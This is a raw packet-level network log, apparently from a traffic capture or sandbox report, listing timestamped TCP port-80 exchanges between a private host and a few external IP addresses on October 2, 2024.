Oct 2, 2024 05:20:09.680092096 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680128098 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680139065 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680171967 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680180073 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680214882 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680233955 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680268049 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680273056 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680285931 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680306911 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680319071 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680371046 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680388927 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680444002 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680483103 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680495024 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680517912 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680522919 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680553913 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680583000 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680596113 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680619001 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680623055 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680655003 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680661917 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680689096 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680695057 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680749893 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680757999 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680790901 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680802107 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680825949 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680833101 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680859089 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680881023 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680896044 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680898905 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680928946 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680955887 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680963039 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.680969000 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.680998087 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.681013107 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.681035995 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.681046963 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.681081057 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.681092024 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.681118011 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.722631931 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.727530003 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.897627115 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.897661924 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.897697926 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.897722006 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.897736073 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.897748947 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.897772074 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.897777081 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.897805929 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.897809982 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.897839069 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.897840977 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.897881031 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.897901058 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.897933960 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.897943974 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.897969007 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.897980928 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.898016930 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898061037 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.898070097 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898102999 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898134947 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898144007 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.898171902 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898178101 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.898207903 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898240089 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898252964 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.898292065 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898333073 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.898400068 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898432970 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898437023 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.898468018 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898503065 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898513079 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.898538113 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898576021 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898576975 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.898612022 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898618937 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.898730993 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898763895 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898776054 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.898797989 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898833990 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898844957 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.898891926 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.898904085 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898936033 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898972988 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.898974895 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.899055004 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.899087906 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.899096966 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.899130106 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.899228096 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.899262905 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.899291039 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.899318933 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.899326086 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.899343014 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.899362087 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.899373055 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.899422884 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.899430990 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.899516106 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.899549007 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.899563074 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.899584055 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.899590969 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.899616957 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.899658918 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.899671078 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.899703979 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.899739027 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.899749041 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.899772882 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.899777889 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.899816036 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.899822950 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.899851084 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.899893999 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.899966002 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.900000095 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.900070906 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.900145054 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.900178909 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.900213003 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.900223970 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.900254965 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.900307894 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.900341034 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.900374889 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.900381088 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.900412083 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.900460958 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.900500059 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.900532961 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.900549889 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.900578022 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.900587082 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.900620937 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.900625944 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.900655985 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.900656939 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.900690079 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.900707960 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.900722980 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.900726080 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.900755882 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.900767088 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.900790930 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.903264999 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.903338909 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.903486967 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.903517962 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.903549910 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.903567076 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.903584957 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.903589964 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.903614998 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.903626919 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.903659105 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:10.061738968 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:10.062072039 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:10.066773891 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:10.066957951 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:10.104763985 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:10.104923010 CEST	49777	80	192.168.2.4	45.132.206.251
Oct 2, 2024 05:20:10.342628002 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:10.342699051 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:10.382801056 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:10.387674093 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:10.562097073 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:10.562140942 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:10.562167883 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:10.562179089 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:10.564779997 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:10.564779997 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:10.569636106 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:10.743079901 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:10.743143082 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:10.751250982 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:10.756122112 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:10.954708099 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:10.955127001 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:10.957751989 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:10.962630987 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:11.155606031 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:11.155678034 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:11.159890890 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.164691925 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.164772034 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.164932966 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.169698000 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.785706043 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.785754919 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.785809040 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.785844088 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.785852909 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.785852909 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.785873890 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.785895109 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.785936117 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.785948992 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.785981894 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.786007881 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.786015987 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.786030054 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.786051035 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.786087990 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.786097050 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.786098003 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.786144972 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.790961981 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.791030884 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.791085005 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.791101933 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.791136980 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.875775099 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.875835896 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.875844002 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.875865936 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.875910997 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.875910997 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.875920057 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.875957012 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.875991106 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.875991106 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.875991106 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.876036882 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.876041889 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.876141071 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.876682997 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.876737118 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.876744032 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.876790047 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.876792908 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.876823902 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.876857996 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.876863956 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.876863956 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.876893997 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.876893997 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.877509117 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.877562046 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.877595901 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.877597094 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.877643108 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.877671957 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.877677917 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.877727985 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.877727985 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.878371954 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.878428936 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.878431082 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.878482103 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.878501892 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.878536940 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.878566027 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.878571033 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.878578901 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.878617048 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.879199982 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.879261017 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.966118097 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.966152906 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.966204882 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.966213942 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.966240883 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.966252089 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.966274977 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.966310978 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.966325998 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.966386080 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.966386080 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.966430902 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.966722965 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.966779947 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.966797113 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.966831923 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.966850996 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.966866970 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.966900110 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.966902018 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.966943026 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.966943026 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.967247009 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.967303038 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.967309952 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.967339039 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.967369080 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.967375040 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.967425108 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.967432976 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.967475891 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.967494011 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.967526913 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.967571974 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.967571974 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.968295097 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.968349934 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.968384981 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.968394041 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.968394041 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.968419075 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.968427896 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.968456030 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.968478918 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.968489885 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.968513966 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.968525887 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.968563080 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.968605042 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.969073057 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.969127893 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.969136953 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.969163895 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.969181061 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.969197989 CEST	80	49782	147.45.44.104	192.168.2.4
